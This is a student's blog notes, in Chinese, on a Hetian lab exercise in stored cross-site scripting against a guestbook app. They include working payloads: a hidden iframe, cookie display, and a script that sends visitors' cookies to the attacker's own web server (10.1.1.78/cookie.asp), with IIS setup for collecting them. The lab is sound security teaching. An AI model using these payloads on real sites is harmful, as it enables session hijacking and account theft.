实验链接

本实验主要介绍了跨站脚本攻击基础,通过本实验的学习,你能够了解跨站脚本攻击的概念,掌握形成跨站脚本漏洞的条件,学会对跨站脚本的几种利用方式。

链接:http://www.hetianlab.com/expc.do?ce=70c421d5-c3f4-4f4a-96c3-625e9f669255

实验简介

实验所属系列:WEB应用安全/信息安全基础/网络攻防工具

实验对象: 本科/专科信息安全专业

相关课程及专业:信息网络安全概论、网络攻击与防御技术、渗透测试技术

实验类别:实践实验类

实验目的

  • 深入理解跨站脚本攻击概念;

  • 掌握形成跨站脚本漏洞的条件;

  • 掌握对跨站脚本的几种利用方式。

预备知识

跨站脚本攻击

  • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。

  • XSS工作原理

    恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。

  • XSS漏洞的分类

    • 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身;

    • 反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中;

    • 存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。

  • XSS攻击的危害

    • 盗取用户cookie;

    • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;

    • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;

    • 盗窃企业重要的具有商业价值的资料;

    • 强制发送电子邮件;

    • 网站挂马;

    • ……

实验环境

实验环境为两台互相连网Windows主机。

说明:

  • 网络环境中有两台主机,有一台主机在实验环境可见并可登录,我们称为实验机(客户机);另一台主机不可见,但从实验机可以访问,这台主机即为本次实验任务的攻击目标,我们称为目标机。

  • 实验机IP为:10.1.1.78;目标机IP为:10.1.1.2。

  • 在目标主机上安装了跨站脚本攻击的演练平台(留言系统),供本次实验使用。

实验步骤

步骤一

预备任务:启动并访问留言系统

在预备任务中,我们将安装在目标主机上的跨站脚本攻击演练平台(留言系统)。

使用远程桌面登录至练习主机。

查看目前主机的ip,就是试验机ip,不需要再次进行远程连接。

使用浏览器打开http://10.1.1.2页面,进入跨站脚本攻击演练平台,如下图所示:

给留言系统添加留言,熟悉本系统环境:

管理留言。

点击“管理留言”,用户名:admin,密码:admin123,可以对刚留言进行管理:

存储式跨站脚本漏洞检测

登录到实验机上,用IE浏览器中打开留言系统(10.1.1.2):

在留言内容中填写包含有跨站测试的脚本 <script>alert("XSS TEST")</script>交后观察返回效果。

如下图所示:

刷新留言系统,如果新加留言显示如下,则说明系统有存储式跨站漏洞:

思考: 测试当其他用户打开这个页面时,嵌入的代码是否会执行?分析留言系统代码,为什么填写的留言脚本会被执行?

步骤二

利用存储式跨站漏洞窃取用户cookie

使用跨站漏洞加载恶意网页

清空实验一任务,将恶意网页(假设http://10.1.1.2)放入留言系统数据库,并在用户端执行;

增加一留言,并在留言内容中改为 ,测试返回效果:


隐藏恶意网页。增加留言,内容包含以下语句:<iframe src=“http://www.baidu.com” width="0" height="0"></iframe>,观察返回状态,网页被执行,但未在留言系统界面中显示:


这样如果是攻击脚本就可以用此方法隐藏自己。

思考:本留言系统是否有其他利用方式?

步骤三

利用存储式跨站漏洞窃取用户cookie

继续添加留言,包含以下内容:<script>document.write(document.cookie)</script>


结果如图所示:

继续添加留言,包含以下内容:<script>alert(document.cookie)</script>

比较有什么区别: write方式是将内容写入留言板,而alert方式则是将内放在弹窗上显示出来。

使用管理员登录,观察显示的cookie有什么不同?


管理员登录的cookie则会同时暴露用户名和密码,给网页的管理带来危害。

思考:这种窃取cookie的方式有什么缺点?有什么方法可以将用户的cookie窃取出并保存下来,而且用户看不到?

在攻击机上使用提供的页面搭建WEB服务器,以便进一步保存浏览用户的cookie:


打开 IIS 管理器:
设置默认网站的属性:

搭建IIS服务器过程中应注意如下几点:

  • 在Web服务扩展中允许Active Server Pages服务

  • 默认网站-属性-文档中添加index.asp内容页

  • 在:C:\tools\跨站脚本攻击\中的cookies文件夹属性-安全-组或用户名称(G)-添加-高级-立即查找中找到IUSR_BJHIT-YXI7NEFU8用户,选择并确定


  • 给IUSR_BJHIT-YXI7NEFU8用户写入权限

搭建好服务器后,在浏览器中输入本机IP地址进行测试,如下图所示,表示web服务正常进行:

返回http://10.1.1.2页面,继续添加留言,包含以下内容:<script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>");</script>


其中10.1.1.78是在自己搭建web的地址。

提交留言后观察目标服务器页面,没有看到异常现象,如下图所示:

再打开本地页面,查看接收浏览用户的cookie接收情况:

可以看到,已经接收到用户的cookie了,这些cookie包含了所有浏览该页面的信息,如果是登录用户的话,cookie包含了用户的用户名与密码信息。

答题

感想

先答题一波:

  • 步骤一: 测试当其他用户打开这个页面时,嵌入的代码是否会执行?分析留言系统代码,为什么填写的留言脚本会被执行?

    会,一旦打开此页面,嵌入的代码都会执行。

    打开网页,查看源码,猜测留言板内容将会直接附在网页代码内:

    尝试添加留言,输入恶意代码:

    留言成功:

    查看源代码:

    可见,系统不经过处理,直接将留言板内容以文本的形式传给网页,遇到网页代码类型,网页将会自动处理,这就造成了XSS漏洞。攻击者可以根据自己的需要肆意改变网页,窃取想要的信息。

  • 步骤二:本留言系统是否有其他利用方式?

    利用了存储式漏洞。

  • 步骤三:这种窃取cookie的方式有什么缺点?有什么方法可以将用户的cookie窃取出并保存下来,而且用户看不到?

    会将窃取的信息返回至页面,所以用户都可以看到,并发现有漏洞。

    将cookie窃取下来并保存,用户看不到在提问后面的操作已经实现,在此不再阐述。

最后是感想:之前做了挂马实验,未能很好的理解什么是XSS漏洞,今天通过这个实验仍是似懂非懂,但是最终的答题环节,通过查看网页源代码,才算是真正理解了XSS漏洞注入的原因及危害。这也是我们常说的,网页输入最好有审查,更甚者可以进行选择而非输入,一定程度上确保了网页的安全。

跨站脚本攻击基础 ——合天网安实验室学习笔记相关推荐

  1. CSRF攻击实验 ——合天网安实验室学习笔记

    实验链接 本实验以PHP和Mysql为环境,展示了CSRF攻击的原理和攻击过程.通过实验结果结合对攻击代码的分析,可更直观清晰地认识到Web安全里这种常见的攻击方式. 链接:http://www.he ...

  2. BurpSuite实战——合天网安实验室学习笔记

    burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放. 此BurpSuite ...

  3. 使用burp进行暴力破解 ——合天网安实验室学习笔记

    实验链接 通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全. 链接:http://www.he ...

  4. 绕过黑名单检查实现文件上传1 ——合天网安实验室学习笔记

    实验链接 文件上传指将客户端数据以文件形式封装,通过网络协议发送到服务器端.在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存.了解文件上传漏洞产生的原因,掌握漏洞的利用方法. 链接:http: ...

  5. 摩尔斯电码和栅栏密码 ——合天网安实验室学习笔记

    实验链接 通过学习本实验理解摩尔斯电码和栅栏密码的编码解码过程:掌握编写摩尔斯电码的编码解码程序和编写多功能栅栏密码的编码解码程序. 链接:http://www.hetianlab.com/expc. ...

  6. 合天网安就业班_CTF挑战赛-合天网安实验室

    [TOCCTF挑战赛-合天网安实验室逆向解析] CTF挑战赛-合天网安实验室​sourl.cn 1.逆向100 修改后缀为.apk 安卓模拟器打开,发现要求输入Password 用Android逆向助 ...

  7. 合天网安实验室CTF-基础50-0x01

    合天网安实验室CTF-基础50-0x01 最近无聊时准备刷点题,由简到难慢慢来吧 题目描述   真的不能再简单了! 相关附件   misc50.zip 题目链接 参考解题步骤 1.下载下来的压缩包解压 ...

  8. 合天网安实验室CTF-Web100-Give Me Flag

    合天网安实验室CTF-Web100-Give Me Flag 题目描述   哎,不小心把代码弄乱惹 相关附件   web100.zip 题目链接 参考解题步骤 1.下载附件打开后是一段JavaScri ...

  9. 合天网安实验室CTF-Exp200-Come on,Exploit me!

    合天网安实验室CTF-Exp200-Come on,Exploit me! 题目描述   Audrey Tang. ⊙.⊙ 我只能说到这儿了 相关附件   exp200 题目链接 参考解题步骤 1.下 ...

  10. 合天网安实验室CTF-Steg150-一段欢快的曲调

    合天网安实验室CTF-Steg150-一段欢快的曲调 题目描述   滴滴 相关附件   stego100.wav 题目链接 参考解题步骤 1.下载的附件是一段wav格式的音频,打开听了一下,确实是欢快 ...

最新文章

  1. 马歇尔·赫伯特:人工智能的前沿技术与实例分析
  2. 关于cookie domain中的点前缀
  3. html5 打包ios.上架,iOS帮客户打包App上架的正确姿势
  4. 3516a 自带的ive 算子的运行情况分析
  5. iOS11 获取手机已安装应用列表
  6. Hibernate持久化对象的三种状态深入理解
  7. 一个简单的Windows
  8. 鹏拍:软件行业上市十大关注问题
  9. r语言 wiod_数据可视化基本套路总结
  10. 关于安卓设备更改和烧录IMEI的图文教程
  11. Cesium 鼠标单击和双击事件
  12. JDk1.8(Win 10版 64位)安装、环境变量配置及第一个Java程序
  13. (附源码)SSM信用卡增值业务系统JAVA计算机毕业设计项目
  14. Codeforces Round #521 (Div. 3) E. Thematic Contests(思维)
  15. [转]的C#实现三维数字地形漫游(基于Irrlicht)
  16. Android手机通讯录(上)
  17. 曾因“贿赂”苹果被罚款 10.3 亿美元,高通上诉成功
  18. python 文件夹下所有文件_使用Python遍历文件夹下所有文件(包所有含子文件夹)...
  19. React 全屏监听Esc键
  20. 【2017-02-05】【抓包】鼠大侠鼠标连点器去广告

热门文章

  1. 服务注册与发现-Spring Cloud Netflix-Eureka
  2. 企业财务报表分析【4】
  3. 如何加水印在图片上面?
  4. 怎么给图片添加水印?教你一键添加水印
  5. mysql姓名三位随机_Mysql之生成随机数,随机字符串,随机姓名
  6. vue-awsome-swiper稳定版本3.1.3及使用方法,API见swiper官网https://www.swiper.com.cn/api/index.html
  7. 医疗知识图谱_寻医问药
  8. 前端学习-案例:制作一个超简单的静态页面
  9. 用oracle做九九乘法表,Oracle三种循环例题:打印九九乘法表
  10. 大型强子对撞机再次遭遇断电